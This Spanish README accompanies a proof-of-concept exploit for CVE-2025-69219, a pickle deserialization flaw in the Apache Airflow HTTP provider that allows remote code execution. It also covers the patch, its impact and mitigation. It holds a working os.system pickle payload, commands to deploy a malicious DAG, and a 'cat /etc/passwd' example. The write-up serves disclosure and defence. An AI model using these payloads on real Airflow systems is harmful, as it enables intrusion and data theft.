
Prueba de concepto de exploit para CVE-2025-69219, que demuestra ejecución remota de código en Apache Airflow Providers HTTP mediante deserialización insegura de pickle. Incluye scripts de PoC, análisis técnico y guía de mitigación.
Gravedad: Alta (CVSS 3.1: 8.8)
Vector:AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-913 — Control Inadecuado de Recursos de Código Gestionados Dinámicamente
Afectado:apache-airflow-providers-http >= 5.1.0, < 6.0.0
Corregido en:apache-airflow-providers-http == 6.0.0
Parche: apache/airflow#61662 · commit 97839f7
El proveedor HTTP de Apache Airflow usaba el módulo pickle de Python para serializar y deserializar respuestas de disparadores HTTP para tareas diferidas. El punto vulnerable en HttpOperator.execute_complete() se veía así:
# VULNERABLE (pre-patch) — providers/http/src/.../operators/http.py
response = pickle.loads(base64.standard_b64decode(event["response"]))
El diccionario event se lee de la base de datos de Airflow, lo que significa que cualquier principal con acceso de escritura a la BD puede plantar un payload malicioso de pickle. Cuando el Triggerer worker procesa la tarea diferida, deserializa ciegamente ese payload, ejecutando comandos arbitrarios del sistema operativo con los permisos del proceso Triggerer, equivalente a un Autor de DAG.
pickle.loads() sobre datos no confiables es una operación inherentemente insegura. El protocolo __reduce__ de Pickle permite incrustar cualquier invocable de Python en el blob serializado e invocarlo durante la deserialización sin ningún tipo de sandboxing.
El Triggerer de Airflow serializa la respuesta HTTP al completarse y la almacena en la BD:
# triggers/http.py (pre-patch)
yield TriggerEvent({
"status": "success",
"response": base64.standard_b64encode(pickle.dumps(response)).decode("ascii"),
})
Un atacante a nivel de BD reemplaza este valor con un blob de pickle manipulado, por ejemplo:
class RCEPayload:
def __reduce__(self):
return (os.system, ("id",))
payload = base64.b64encode(pickle.dumps(RCEPayload())).decode()
El Triggerer entonces llama a execute_complete → pickle.loads() → RCE.
El parche reemplaza completamente pickle por un serializador JSON seguro y explícito:
# triggers/http.py (post-patch)
yield TriggerEvent({
"status": "success",
"response": HttpResponseSerializer.serialize(response), # JSON dict
})
# HttpResponseSerializer.deserialize() — validates input is a dict, never executes code
if isinstance(data, str):
raise TypeError("Response data must be a dict, got str")
El nuevo deserializador solo reconstruye un objeto requests.Response a partir de campos conocidos (status_code, headers, content, etc.) — no es posible la ejecución de código arbitrario.
# Python 3.9+; instalar una versión vulnerable
pip install "apache-airflow-providers-http>=5.1.0,<6.0.0"
Reproduce la llamada vulnerable pickle.loads() en el mismo proceso:
python poc.py
# o con un comando personalizado:
python poc.py --cmd "whoami"
Salida de ejemplo:
CVE-2025-69219 | Apache Airflow Providers HTTP < 6.0.0
Unsafe Pickle Deserialization → RCE via HttpOperator
-------------------------------------------------------
[*] Command : id
[*] Pickle payload: gASVKAAAAAAAAACMAnBvc3lzdGVtlIWUUpQu...
[*] Triggering deserialization (simulating execute_complete) ...
uid=1000(user) gid=1000(user) groups=1000(user)
[+] os.system returned: 0 (0 = success)
# Generar un DAG desplegable
python poc.py --mode dag --cmd "id"
# Copiar al directorio de DAGs de Airflow
cp cve_2025_69219_poc_dag.py $AIRFLOW_HOME/dags/
# Disparar desde la UI de Airflow o desde CLI
airflow dags trigger cve_2025_69219_poc
Verifique los registros de la tarea para ver la salida del comando.
python poc.py --show-payload --cmd "cat /etc/passwd"
| Factor | Detalle |
|---|---|
| Quién puede explotar | Cualquier usuario con acceso de escritura directo a la base de datos de Airflow |
| Contexto de ejecución | Proceso worker del Triggerer (mismos permisos que un Autor de DAG) |
| Probabilidad | Baja: el acceso directo a la BD no es estándar en implementaciones bien configuradas |
| Radio de afectación | RCE completo en el nodo del Triggerer: exfiltración de datos, movimiento lateral, persistencia |
apache-airflow-providers-http a 6.0.0 o posterior.deferrable=True) se hayan completado o se hayan limpiado, ya que las tareas en vuelo serializadas con pickle generarán un TypeError después de la actualización (cambio incompatible documentado en el changelog del proveedor).pip install "apache-airflow-providers-http>=6.0.0"
| Fecha | Evento |
|---|---|
| 2026-03-09 | CVE publicado por Apache Software Foundation |
| 2026-03-09 | Corrección fusionada (PR #61662, commit 97839f7) |
| 2026-03-09 | Divulgado en la lista de correo oss-security |
El PoC en este repositorio está basado en el trabajo original de @ahmetartuc.
Esta prueba de concepto se publica únicamente con fines educativos y de investigación en seguridad. Solo debe probarse contra sistemas que sean de su propiedad o para los cuales tenga autorización explícita por escrito para realizar pruebas. Los autores no se hacen responsables de ningún uso indebido.